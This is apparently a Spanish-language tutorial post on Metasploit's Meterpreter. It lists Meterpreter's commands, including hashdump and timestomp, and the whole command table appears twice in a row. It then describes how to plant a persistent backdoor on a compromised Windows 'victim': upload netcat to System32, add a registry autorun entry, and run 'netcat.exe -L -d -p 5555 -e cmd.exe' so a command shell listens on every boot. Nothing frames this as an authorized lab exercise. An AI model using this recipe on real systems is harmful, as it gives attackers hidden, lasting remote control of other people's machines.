El meterpreter o meta intérprete es una familia de plugins avanzados para utilizar sobre sistemas Windows comprometidos que tienen como característica fundamental que todo es cargado en la memoria del sistema sin crear ningún proceso adicional. Además aporta mucha flexibilidad, permitiendo mil y una funciones al alcance de un sólo comando, con lo que nos permite realizar los ataques haciendo algo menos de ruido.
Antes de ir a lo práctico, os quiero mostrar todas las posibilidades que nos ofrece esta genial herramienta:
Citar
Core Commands
=============
Command Description
——- ———–
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
——- ———–
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
——- ———–
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
——- ———–
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components
Priv: Password database Commands
================================
Command Description
——- ———–
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
——- ———–
timestomp Manipulate file MACE attributes
=============
Command Description
——- ———–
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
——- ———–
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
——- ———–
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
——- ———–
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components
Priv: Password database Commands
================================
Command Description
——- ———–
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
——- ———–
timestomp Manipulate file MACE attributes
Bueno, como ejemplo básico del uso de meterpreter, vamos a suponer que hemos encontrado una vulnerabilidad en un sistema Windows, y que con ayuda del Metasploit le cascamos el exploit y le indicamos que como payload nos devuelva una sesión con el meterpreter a través de una conexión directa a la víctima.
Una vez que estamos situados en este escenario, nuestra tarea va a ser crear un backdoor un tanto rudimentario (pero efectivo), vamos a subirle un netcat a la víctima, y creando adecuadamente una entrada en el registro, vamos a hacer que cada vez que se arranque el sistema se ejecute netcat y espere conexiones en el puerto 5555, de forma que en el momento en el que nos conectemos, nos devuelva un cmd.
Bueno, pues manos a la obra!
Una vez que tenemos nuestro flamante metasploit corriendo...
Y como hemos indicado, se ha conseguido explotar alguna vulnerabilidad en el sistema remoto y obtener una sesión de meterpreter, procedemos a subir el ejecutable del netcat a la víctima, más concretamente a la carpeta System32:
Una vez que está subido, el siguiente paso será insertar una clave en el registro para que el programa se ejecute automáticamente al iniciar el sistema, y comprobamos que la clave se haya añadido :
la imagen es un poco grande y no se ve todo el comando de netcat, que sería:
Código:
netcat.exe -L -d -p 5555 -e cmd.exe
Finalmente, esperamos a que el Sistema de la víctima se reinicie para comprobar si ha funcionado el backdoor...
Voilà!! Parece que todo ha funcionado, y el Sistema al reiniciarse ejecuta sin problemas el netcat.
Para comprobarlo, otra captura más del registro del Pc Víctima visto desde dentro, donde comprobamos que efectivamente todo se ha añadido correctamente:
Como veis, esto es simplemente la punta del iceberg, es un ejemplo muy básico, pero creo que a la vez muy descriptivo de lo que se puede llegar a hacer y la facilidad con la cual hacerlo...
Os insto a que le echeis un ojo a este magnífico plug-in, y a su gran lista de funcionalidades, sin duda es una herramienta que nos hará la vida un poco más fácil!
saludos